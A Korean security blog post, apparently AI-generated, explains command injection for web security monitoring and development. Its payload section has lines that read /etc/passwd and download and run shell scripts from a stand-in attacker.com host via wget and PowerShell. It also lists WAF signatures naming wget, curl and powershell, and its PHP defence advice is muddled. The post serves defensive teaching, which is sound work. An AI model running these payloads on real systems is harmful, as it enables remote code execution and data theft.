반응형
Command Injection을 실무 관점에서 정리할게.
역시 원리 → 예시 Payload → 공격 목표 → 방어 방법/WAF 대응까지 포함했어.
🔥 1. Command Injection 개념
정의:
Command Injection은 웹 애플리케이션에서 사용자 입력을 서버 OS 명령어로 그대로 전달할 때, 공격자가 임의의 OS 명령을 실행하도록 만드는 공격이야.
쉽게 말하면:
- 공격자가 웹 입력값을 통해 서버 운영체제 명령어를 조작
- 결과적으로 서버 장악, 파일 조작, 정보 탈취 가능
🔹 2. 공격 원리
[웹 입력 필드] → [웹 서버 코드] → [OS 명령어 실행]
예시:
ping <사용자 입력>
공격자가 입력값에 ; ls / 를 넣으면
ping 127.0.0.1; ls /
- ping은 정상 수행
- ls / → 서버 루트 파일 목록 출력
➡️ 웹 서버가 입력값을 검증 없이 OS 명령어에 연결했기 때문에 발생
🔹 3. 실무 Payload 예시
1) Linux / Unix
; ls -la / ; cat /etc/passwd ; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh
2) Windows
& dir C:\ & powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
3) URL / 웹 요청 예시
🔹 4. 공격 목표
- 서버 파일 탈취 / 수정
- 웹쉘 업로드 → 원격 제어
- 민감 정보 유출 (passwd, config)
- 다른 서버/네트워크 공격 발판
🔹 5. WAF / 관제 대응
- 명령어 시그니처 차단
- ;, &, |, && 등의 쉘 메타문자
- wget, curl, powershell, cmd.exe
- 입력값 검증
- 숫자, IP, 허용 문자열 외 입력 차단
- 정규식 Whitelist 적용
- 파라미터 무결성
- 시스템 명령어 호출을 최소화
- 외부 입력을 직접 shell로 전달 금지
- 이상 행위 탐지
- 비정상 명령 수행 시 로그 생성
- 반복 공격 IP 차단
🔹 6. 개발 단계 방어
- OS 명령어 호출 최소화
- 라이브러리 함수 사용:
- PHP: exec() 대신 proc_open/shell_exec 제한
- Python: subprocess.run([...], shell=False)
- 사용자 입력 철저 검증 (Whitelist)
- Least Privilege 계정 사용 (웹 서버 계정 제한)
# Python 안전 호출 예시 import subprocess # shell=False, 리스트로 전달 → 쉘 인젝션 방지 subprocess.run(["ping", user_input], shell=False)
🎯 한 문장 요약
Command Injection = 사용자 입력을 서버 OS 명령어로 그대로 전달할 때 공격자가 임의의 명령을 실행하도록 만드는 공격이며, 입력 검증과 안전한 명령 호출로 방어 가능하다.
반응형
'2. 보안 > 2. 보안 관제' 카테고리의 다른 글
| [보안_GPT] Directory Traversal 이란? (0) | 2025.11.14 |
|---|---|
| [보안_GPT] File Upload Vulnerability 이란? (0) | 2025.11.14 |
| [보안_GPT] CSRF(Cross-Site Request Forgery)란? (0) | 2025.11.14 |
| [보안_GPT] 크로스 사이트 스크립트(XSS)란? (0) | 2025.11.14 |
| [보안_GPT] SQL Injection이란? (0) | 2025.11.14 |